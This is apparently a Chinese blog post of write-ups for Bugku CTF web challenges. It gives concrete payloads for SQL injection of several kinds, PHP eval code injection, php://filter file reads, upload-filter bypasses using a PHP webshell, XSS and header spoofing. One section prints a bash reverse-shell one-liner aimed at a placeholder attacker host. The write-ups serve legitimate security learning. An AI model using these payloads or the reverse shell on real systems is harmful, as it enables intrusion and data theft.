Bugku------Web(持續更新)

我使用的是火狐瀏覽器

使用火狐瀏覽器的hackbar插件

如果有錯誤的地方希望大家多多指出,多謝多謝

WEB2

點開圖片是一組滑稽臉,按F12直接可得flag

文件上傳測試

通過上傳.png文件,得知非php文件,于是采用burp進行修改上傳的文件。

得到flag

計算器:

直接按F12,將

在輸入正確結果即可得到flag

web基礎$_GET

```

$what=$_GET['what'];

echo $what;

if($what=='flag')

echo 'flag{****}';

```

根據題意,直接將what賦值為flag

?web基礎$_POST

和上到題差不多,然后就這樣

得到flag

矛盾

觀察題目,應該是使用is_numeric遇到%00截斷的漏洞,這里構造

http://120.24.86.145:8002/get/index1.php?num=1%00

得到flag

web3

界面有點不盡 的彈窗,應該是使用了大量的alert語句,直接查看網頁源代碼

最后一行是這樣的

使用html解碼,得到flag

sql注入

在題目后面加',網頁出錯,說明有sql注入漏洞,查看網頁源代碼,查看是什么語言編碼

"gb2312",考慮寬字節注入。

?id=1%bf',程序報錯

?id=1%bf' --+程序又恢復正常

那么我們就要開始工作嘍

?id=1%bf' and version()>0--+,返回正確,則數據庫可能為sqlserver和mysql

?id=1%bf' and length(user())>0 --+ 返回正確,說明存在user()函數,是mysql數據庫

?id=1%bf' order by 2--+ 采用order by 語句查詢數據庫的列數,為2

?id=1%bf' union select 1,2--+ 來確定回顯

我們這里采用其中的一個回顯位置

?id=1%bf' union select database(),2--+ 查詢數據庫名稱為sql5

?id=1%bf' union select string,2 from sql5.key where id=1--+ 然后查詢key表,id=1的string字段

得到flag

域名解析

域名解析需要修改hosts文件,這里我們使用ubuntun虛擬機進行這道題的解答

首先輸入這樣打開hosts文件

將host文件修改為這樣,然后直接訪問flag.bugku.com得到flag

SQL注入1

和SQL注入差不多,我們來看看這道題,這道題與上到題差距不大,這里只是加入了XSS過濾,但是XSS過濾,strip_tags()會將html,php,xml標簽全都去掉,利用這一特點,我們來進行解題

老規矩:

http://103.238.227.13:10087/'? ? 存在SQL注入漏洞

http://103.238.227.13:10087/?id=1%20o%3Cp%3Erder%20by%202--+ 判斷程序的字段名為2

http://103.238.227.13:10087/id=1%20un%3Cp%3Eion%20se%3Cp%3Elect%20database(),2--+? ? ? ? ? ? ? ? ? ? ? ? ? ? 判斷數據庫名稱為sql3

http://103.238.227.13:10087/?id=1%20un%3Cp%3Eion%20se%3Cp%3Elect%20hash,2%20fro%3Cp%3Em%20sql3.key%20where%20id=1--+? ? 查找表為key的數據表,id=1值hash字段值得到flag

你必須讓他停下

打開網站后網頁一直都在跳動,而且頁面不同,猜測flag在其中的一些網頁中,采用burp一幀幀的看,在Repeter多次go,很容易就得到了flag

本地包含

方法一

? ??????對_REQUEST[]函數并不是很了解,百度得到它對get/Post都可以接受

????????其中第一句話include“flag.php”說明該文件在本地

???????? 第二句話要獲得hello的值,由于hello為’hello’,所以無論在url欄中對hello賦任何值,都會全盤接受,其中var_dump()是將a打印到界面中,在根據eval函數的特性(計算后面括號中的表達式)

? ? 根據這一特性,我們嘗試將flag.php文件直接輸出

構造如下:http://120.24.86.145:8003/?hello=1);print_r(file("./flag.php"));%23

使原文語句為

```

? ??eval(“var_dump(1);print_r(file(“./flag.php”))”)

```

方法二:

? ? 另外一種方法是直接對hello賦值為hello=file_get_contents('flag.php')

? ? 然后查按F12可以知道flag

變量1

首先觀察程序,很明顯看到了$$args,考慮到此題可能考GLOBALS變量,直接構造如下賦值即可:

http://120.24.86.145:8004/index1.php?args=GLOBALS

得到flag

web5

查看網頁源代碼,發現了一大堆[]()組合,考慮是JSFUCK,

直接將括號復制到谷歌瀏覽器的控制臺運行得到flag

頭等艙

采用burp抓包:

提交flag即可

web4

查看網頁源代碼p1=%..%...;p2=%..%...

題目最后p1+%..%...+p2

先進行URL解碼

```

p1=function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b

p2=aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

%35%34%61%61%32=54aa2

```

提交67d709b2b54aa2aa648cf6e87a7114f1

得到flag

flag在index里

將網頁點開,在點擊相應連接,網頁地址欄變為:

http://120.24.86.145:8005/post/index.php?file=show.php

看到了file關鍵字,看看用php://filter能否將index讀出來

http://120.24.86.145:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

將得到了base64解碼,觀察程序得到flag

輸入密碼查看flag

直接burp爆破

點擊一百萬次

真正點擊100 0000 是不可能的,嘗試F12修改點擊次數,未果

修改程序中的jsp代碼,未果

查看網頁源代碼,根據

if(clicks >= 1000000)

直接將clicks賦值為10000000(POST方法),查看結果?

得到flag

備份是個好習慣

打開網頁d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

將里面的東西解碼,每個解碼的方式都試過了,未果,觀察里面的加密值,發現先后重復

將d41d8cd98f00b204e9800998ecf8427e解密

然后在flag中試了各種與空有關的東西,未果。

觀察題目,說備份是個好習慣猜測應該與備份有關

小知識:

????備份文件一般情況是在后綴名后加的*.swp,*.bak

? ??http://120.24.86.145:8002/web16/ 默認訪問的是該路徑的index.php文件

看看里面有什么東西

http://120.24.86.145:8002/web16/index.php.bak

訪問成功了,隨便用個什么編輯器把這個東西打開,我這里使用的是bycharm(給在校大學生安利一波),里面的代碼是這樣滴:

```

include_once "flag.php";

ini_set("display_errors", 0);

$str = strstr($_SERVER['REQUEST_URI'], '?');

$str = substr($str,1);

$str = str_replace('key','',$str);

parse_str($str);

echo md5($key1);

echo md5($key2);

if(md5($key1) == md5($key2) && $key1 !== $key2){

echo $flag."取得flag";

```

要求key1和key2的md5值相等,但是值不相等

百度得這兩個值為240610708和QNKCDZO,嘗試賦值,并沒有什么變化

繼續觀察源程序,發現程序中將key字符變為空,考慮用kkeyey取代key,

然后果然得到了flag

成績單

向其中分別輸入1,2,3...發現可以查詢,當向其中輸入1'時,程序不能查詢,根據觀察題目,猜測應該有4列

輸入0,沒有查詢結果,在這里使用0作為回顯,輸入0' union select 1,2,3,4 #

得到相應的值

先查詢數據名稱0' union select database(),2,3,4; 為skctf_flag

然后查詢表名

```

id=0' union select table_name,2,3,4 from information_schema.tables where table_schema='skctf_flag'#

```

查到為flag4,繼續查詢列名,得到skctf_flag,然后繼續查詢,

得到flag

秋名山老司機

要求在2秒之內計算結果,多次刷新界面,有時候回出現如下界面:

無奈,只好寫一個腳本,對value賦值,這里將代碼貼上

```

import requests

import re

import base64

url='http://120.24.86.145:8002/web6/'

s=requests.session()

r=s.get(url)

flag=r.headers['flag']

print(flag)

flag1=base64.b64decode(flag)

print(flag1)

flag2=base64.b64decode(str(flag1).split(":")[1][1:-1])

#將flag分為兩部分,[1:-1]就是獲取到的值

print(flag2)

data={"margin":flag2}

r=s.post(url,data)

print(r.text)

```

cookies欺騙

打開網頁后是一堆亂碼,但是看到url中filename=a2V5cy50eHQ=,嘗試解碼,get文件夾keys.txt,打開什么也沒有。

由于keys.txt是以base64編碼輸入的,我們不妨以base64編碼的方式傳入index.php,看看有什么結果也是什么也沒有。

嘗試將地址欄中的line賦值為1,終于出現了一行代碼,然后估計line為幾,就是讀取第幾行,一行行試的比較麻煩,這里寫一個腳本來獲取整個index.php文件,這里貼上代碼:

```

import re

import requests

url='http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'

for iin range(100):

url1=url%i

c1=requests.get(url1).text

print(c1)

if c1=='':

break

```

得到的index.php文件中的代碼如下:

```

'keys.txt',

'1' =>'index.php',

);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

```

看到了keys.php猜測flag在這里。然后在flag.php中傳入margin=margin,得到flag

如圖所示

XSS

查看網頁源代碼,感覺只有可能給變量id和s賦值,這里先采用id賦值

然后查看網頁源代碼

發現其中的<>被過濾,這樣就簡單了,使用unicode編碼進行繞過

?id=\u003cscript\u003ealert(_key_)\u003c/script\u003e

進行輸入,得到flag

never give up

查看網頁源代碼,發現了1p.html,直接訪問,發現跳轉回主界面

但是1p.html是實實在在存在,而且還在當前目錄,考慮如何訪問1p.html

查看源代碼中直接將index.php修改為1p.html,沒想到竟然成功訪問了

將得到的語句進行Base64解碼,根據解碼的結果在進行一次url解碼,查看源代碼,發現當前目錄存在f4l2a3g.txt,訪問得到flag

welcome to bugkuctf

查看源代碼,訪問hint.php,正常來講,一個php文件是有內容的,考慮如何訪問到hint.php

程序需要先使user的值與welcome to the bugkuctf相同,但是這里有file_get_contents()函數

可以采用php://input才訪問原始請求數據的只讀流,這里將txt賦值為php://input

在post相應的值。

具體操作流程

將file賦值為phpfilter讀相應的base64編碼的文件。代碼如下:

hint.php

看到了flag.php,估計我們的flag就在其中,通過訪問hin.php的方式在來訪問flag.php,方法不可行,就需要考慮其他的方法了。

通過思考,一種可行的方法就是通過在index.php(如果一個地址欄末端是'/',則默認是index.php)中通過一些方法使hint.php加入其中,在通過一定的方法使hin.php包含flag.php?

而我們看到的index.php文件只有一段注釋性的代碼,里面應該還有一些其他的東西,嘗試是否可以訪問。直接將一開始插圖中的hint.php改為index.php就好了。

? ?果然,其中還是藏有許多東西的(將代碼復制粘貼出來保存為txt文件):

flag.php

這里用到了反序列化(我并不是很熟悉,多虧大佬的幫助),這里附上源代碼:

反序列化的源代碼

這樣思路就清楚了,嘗試給password復制為反序列化的值,查看結果

反序列化的值就是password那堆惡心的東西

然后查看源代碼就拿到了flag.

過狗一句話

看題目意思應該就是需要給s賦值,看到題目的時候也是覺得無從下手,多謝大佬的指點,使得做題在有了一些眉目。

? ? 首先將s賦值為phpinfo(),發現可以訪問,說明s可以輸出我們輸入的結果

? ? 然后題目一般flag文件都在.php文件中顯示,嘗試查看所有的文件

????????????????????????????????????????????????s=print_r(glob('*.*'))

? ? 然后可以看到flag文件,直接訪問相應的flag文件得到flag

字符?正則?

看題目就是給id根據正則表達式的條件賦值,我的賦值是這樣的:

http://120.24.86.145:8002/web10/?id=/keyaakeyaaaaakey:/a/aakeya'/i

然后就拿到了flag

前女友(SKCTF)

點擊查看源代碼,然后在查看code.txt,代碼如下:

code.txt

意思大致就是v1!=v2,md5值相等,之前提到過,是240610708和QNKCDZO,然后比較v3和flag,這里利用了strcmp的一個漏洞,不能比較數組,這里我的構造如下:

payload

成功拿到flag

login1(SKCTF)

這道題是一個登陸框,登陸admin,提示用戶已經存在,后來自己注冊了一個賬號,結果不是管理員不能查看flag,未果。在考慮如何使用admin登陸,剛開始使用萬能密碼登陸,結果沒有登陸成功,然后嘗試用約束攻擊,約束攻擊的原理就是注冊用戶名為'admin? ? '(有多個空格,這里是三個)的賬號,密碼'123'(密碼可以自定義),然后登陸成功,但是數據庫會返回表中的第一個用戶,也就是真真實實的admin(這個漏洞只可能在老版本的sql中出現,新版本的mysql已經修復漏洞),然后就可以用admin的身份登陸網頁,拿到flag。

? ? 這里我注冊的賬號為‘admin? ?’(三空格),密碼為‘ABCabc123’然后就成功以管理員的身份拿到了flag

? ? 不過好像提交不了,這個題可能被破壞了吧?

你從哪里來

? ? ? ? ? ?這個題是真的好迷啊,剛開始做沒做出來,打開界面就這么一句話:are you from google?

????????然后改了半天沒出來,后來用谷歌也沒打開,甚至翻到了國外用谷歌來訪問這個題還是老樣子。

????????后來在群里激烈的討論了下才知道原來是這么做的?。?/p>

將這個地方改為谷歌原生的網址就好了:https://www.google.com

中國用谷歌會默認轉到香港hk。

md5 collision(NUPT_CTF)

md5碰撞,emmmm,這道題算是做了好久,腦洞不夠大?。。?!

打開文件,要求輸入a的值,不過文件的后綴名是.php(一般要用到0e開頭的),

這里就需要補充一波常識了:

? ? ? ? 在php文件中,以MD5值以0e開頭的話,php就會認為他們兩個的值相等? 。所以可以寫個腳本來跑出一個以0e開頭的

不過這里跑出來的是數字,然后沒有通過檢測,可能需要使用字符串。? ??

編程能力有限,然后直接在網站上找了以0e開頭的字符串:

? ??????????????http://www.219.me/posts/2884.html

然后直接選其中一個提交拿到flag

各種繞過

看到了flag.php,雞動的趕緊看看能不能直接看,然后未果。

考慮開始好好看一遍題目

題目

最開始獲取id時需要用urldecode解碼(如果沒有用url編碼,解碼還是原來的東西)

第一行的比較中,uname必須!=passwd才可以繼續

第二次比較中,sha1是哈希算法,可以使用數組繞過

這樣payload就比較簡單了,這里我附上我的payload

payload

獲得flag

web8

打開網頁,附上源代碼:

題上 的 代碼

看到了熟悉的file_get_contents函數,可以使用php://input給fn賦值,ac直接賦值,然后使兩個相等就可以了,知道題還是比較簡單的,這里附上我的payload

我的payload

細心

????想辦法變成admin

剛打開題目網頁

看到題目吧,還是比較懵的,給的兩個按鈕點擊有沒有什么用,然后就看看網頁唄。

題目的意思打開是在找文件或目錄,這樣我們先來看一下網頁可以直接訪問的文件有哪些:

一般網站都會有robots.txt文件的,存放可以直接訪問的文件子目錄

根據提示,在看看resusl.php文件

resusl.php

看到以后慌的一批,考慮換個ip做這道題,但是還是先看看不換ip能不能做

題目中的一個小提示是想辦法變成admin,題目中需要獲取x的值,自然想到直接將x賦值為admin,沒想到直接就拿到了flag,這道題難度也不是很大。

求getshell

這道題是文件上傳題,本來用菜刀做了一小會,然后bugku好像把菜刀給ban了。無奈,用burp來做這道題。然后直接上傳菜刀中的一句話木馬

123.php里面的 東西

這道題后來嘗試了好久,但是沒有做出來,無奈,只好找大佬尋求幫助

大佬說這道題是后綴名黑名單檢測和類型檢測

? ? 如果是walf嚴格匹配,通過修改Content-type后字母的大小寫可以繞過檢測,使得需要上傳的文件可以到達服務器端,而服務器的容錯率較高,一般我們上傳的文件可以解析。然后就需要確定我們如何上傳文件,這里將文件的后綴名改為.jpg和.png都不可行,在分別將后綴名修改為php2, php3, php4, php5, phps, pht, phtm, phtml(php的別名),發現只有php5沒有被過濾,成功上傳,得到flag

我滴payload

INSERT INTO注入

點開題目,有如下程序代碼:

代碼

觀察程序,程序關閉的了錯誤報告 ,大致意思是將訪問者的ip記錄到數據庫進行查詢。

然后點開其中的鏈接,網站記錄了其中的ip地址,可以想到http頭注入,而且我也是第一次接觸頭部注入,只會稍稍用一下XFF

我的XFF

發現無論在XFF后添加什么東西,都會返回原來的東西,所以應該是Insert型的SQL注入,考慮時間盲注

通過測試,這樣會進行延時5秒,說明是時間盲注,而且是字符型的時間盲注

我也是第一次接觸時間盲注,心里慌的一批,這里采用暴力法尋找數據庫名,表名,字段名和內容。原理就是超時等待,我們先來爆破數據庫:

爆破數據庫名稱的代碼

代碼比較多,而且大部分都是重復的,這里我說一下思路,先盲注得到數據庫,在爆破表、字段,最后在盲注指定的數據,得到flag。

這道題第一次做真的是相當的難,我也戈了好久。

這是一個神奇的登陸框

這道題還算比較簡單。打開題目,隨便輸個什么用戶名,這里以amsoasod為例,loadurl,界面框如下圖所示:

我所弄的東西

然后點擊執行,結果當然是try again!,首先在用戶名后面加個\,出現錯誤,則存在注入漏洞

BUG

然后嘗試怎么將漏洞利用,在"后面加了--+,不行,但是%23和#都可以,然后就可以注入了,利用order by確定列數

admin_name=amsoasod" order by 2%23&admin_passwd=aaaa&submit=GO+GO+GO

確定回顯:

admin_name=amsoasod" union select 1,2%23&admin_passwd=aaaa&submit=GO+GO+GO

確定數據庫名稱:admin_name=amsoasod" union select database(),2%23&admin_passwd=aaaa&submit=GO+GO+GO

確定數據庫里面的表

????admin_name=amsoasod" union select table_name,2 from information_schema.tables where table_schema='bugkusql1'%23&admin_passwd=aaaa&submit=GO+GO+GO

確定表中的字段:admin_name=amsoasod" union select column_name,2 from information_schema.columns where table_schema='bugkusql1' and table_name='flag1'%23&admin_passwd=aaaa&submit=GO+GO+GO

然后獲取其中的數據:admin_name=amsoasod" union select flag1,2 from bugkusql1.flag1%23&admin_passwd=aaaa&submit=GO+GO+GO

多次

? ??本題有2個flag

第一關是雙寫繞過,很簡單的,試一下就好

PHP_encrypt_1(ISCCCTF)

感覺這個題應該是密碼學的題,不過難度不大,直接對應解密就好了,這里偷給懶,就不寫了。

文件包含2

一打開之后題目是這樣的:http://118.89.219.210:49166/index.php?file=hello.php

然后查看源代碼,沒什么有用的東西,但是其中應該會隱藏什么

然后采用php://filter查看網頁:http://118.89.219.210:49166/index.php?file=php://filter/read/convert.baer64-encode/resource=hello.php

然后查看源代碼:

view-source:http://118.89.219.210:49166/index.php?file=php://filter/read/convert.baer64-encode/resource=hello.php

訪問http://118.89.219.210:49166/upload.php

我直接上傳了一個小馬

然后采用菜刀連接,結果連接如下圖所示

就是說其中的<?php和?>已經被屏蔽了,使得腳本無法執行,然后嘗試修改文件,使得不會過濾,其中的一種過濾方法是

可以看到代碼不會過濾,但是菜刀竟然連不上,可能是被ban了。

然后采用burp抓包,將這個文件進行發送:

然后訪問這個文件

訪問第四個文件,可以得到flag。

flag.php

????點了login咋沒反應????

? ??提示:hint

題目中的框

? ? 輸入東西,然后點擊login,果然沒反應,然后嘗試抓包,鬼也沒抓到。所以這個登陸框就只是給人看的,然后地址欄是這樣:http://120.24.86.145:8002/flagphp/,順便百度一下hint是線索的意思,嘗試訪問hint.*,然后鬼也沒出來,然后嘗試將hint賦值為1,然后就出來源代碼了???,這里吧源代碼粘上吧:

http://120.24.86.145:8002/flagphp/?hint=1

先嘗試訪問flag.php,然后失敗了,然后觀察程序程序的意思就是加入cookie:ISecer的反序列化等于KEY,然后又在最下方給出了KEY的值,這樣就很簡單了直接用burp抓包,然后直接在cookie中加入ISecer='ISecer:www.isecer.com' 的值,結果提交老沒用,只好繼續觀察程序,看哪里出問題了,才發現最下面那是給KEY賦值,只好修改payload,是ISecer為空,提交:

我的payload

得到flag

sql注入2

????全都tm過濾了絕望嗎?

????提示 !,!=,=,+,-,^,%

這道題按照之前的套路墨跡了好久,沒有找到注入點,沒有找到回顯,藍瘦,然后百度了一波教程,說是DS_Store典型的源碼泄漏,網上找找工具,將網站掃描一下,就能找到flag。最后直接訪問http://120.24.86.145:8007/web2/flag,就可以下載到flag

正解

http://hu3sky.ooo/2018/08/18/bugku%20sql2/

孫xx的博客

? ??需要用到滲透測試第一步信息收集

? ? 點開blog,瀏覽一哈全部的博客,然后看到了這

點開看看如下圖
網頁里面有用的東西

? ? 這兩個東西很容易就能聯想到時用戶名密碼,可是這里應該是哪里的用戶名密碼,

? ? 嘗試訪問phpmyadmin,沒想到成功訪問了,然后把上面這兩個東西分別作為用戶名密碼輸進去,然后就可以成功登入了,然后

數據庫的東西

直接點擊它,然后查看里面的東西直接就得到了flag

報錯注入

這道題使用了報錯注入,關于報錯注入vinc大佬的博文寫的是很好的:????????????http://vinc.top/2017/04/06/

另外,論壇中對報錯注入的兩篇博文也寫的比較詳細:

http://www.bugku.com/forum.php?mod=viewthread&tid=152&highlight=%B1%A8%B4%ED

http://www.bugku.com/forum.php?mod=viewthread&tid=93&highlight=%B1%A8%B4%ED

其實 我也是第一次使用報錯注入,就來現學現用吧。

題目中不能包含空格,根據muysql的特性,可以用換行符(%0a)代替空格符,這里我使用的報錯時extractvalue。

首先來測試一下:

報錯注入成功了,然后我們就可以為所欲為了。

工具題目的提示,我們需要訪問文件/var/test/key_1.php,就需要在extractvalue函數中使用讀取文件的函數來讀取到該文件,但是經過百度讀取文件的函數load_file的語法是:

都要用到? ? '? ? ,這就比較難為人,不過采用ASCIIhex加密就不需要加? ? ?'? ? 了,具體payload如下:

32個字符解密出來是這樣的:

很明顯這不是一個完整的php文件,嘗試將其讀完整。而且中間比較亂的部分可能就是flag,

為什么沒有讀取完整呢?

? ? load_file文件本身讀取時沒有問題的,但是extractvalue函數的性質就是只能讀32位

這里使用substr(str,start,length)函數來讀取剩下的文件。

然后不斷的用起點和長度來試探flag,得到的最終paylaod如下:

然后提交了好幾次都沒提交成功,后來才發現原來這里個flag是不完整的,哎

然后需要將substr(str,start,length)函數中的start和length函數進行相應的調整就可以獲得全部的flag。

Trim的日記本

? ??hints:不要一次就放棄

直接掃掃目錄,show.php就能看到(不過一般情況下線上比賽是不允許掃目錄的)

然后flag就在里面

不知道正解是啥。

login2(SKCTF)

? ??hint:union,命令執行????

md5繞過登陸,直接上我的payload的

username=1' union select 1,md5(1)%23&password=1

經過fuzz一波,可以發現在;后面的指令會執行,但是不一定會有回顯。

然后在網上可以搜到很多反彈shell的payload,我用的是這個
```

/bin/bash -i > /dev/tcp/attackerip/80800<&12>&1

```


login3(SKCTF)

? ??hint:基于布爾的SQL盲注

這個題也是fuzz了好久,直接給payload,沒什么好說的

username=admin%bf'or(select(password))regexp'^5&password=admin

username=admin%bf'or(select(password))regexp'^51&password=admin

一個個往下繼續就好,最終md5解密

登陸得flag


login4

? ??hint:CBC字節翻轉攻擊


補題:

##程序員本地網站

100

http://120.24.86.145:8002/localhost/請從本地訪問

X-Forwarded-For:127.0.0.1


##文件上傳2(湖湘杯)

200

http://120.24.86.145:9011/

這個題fuzz了好久,后來發現上傳正常的圖片也無法顯示,那么考點肯定不是文件上傳了,GG。

直接給payload:

```

http://120.24.86.145:9011/?op=php://filter/read=convert.base64-encode/resource=flag

```

##網站被黑

60

http://120.24.86.145:8002/webshell/

這個題沒技術含量但是實戰中經常遇到

打開網頁沒什么東西,就需要考慮掃描目錄,可以掃描到shell.php。密碼是hack

登陸即可得flag。


###管理員系統

60

http://123.206.31.85:1003/

F12打開有base64編碼,解密是test123

然后admin/test123在根據提示的ip添加X-Forwarded-For:127.0.0.1頭部即可拿到flag

POST / HTTP/1.1

Host: 123.206.31.85:1003

X-Forwarded-For: 127.0.0.1

user=admin&pass=test123

先寫這么多,有時間的話之后再補上

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容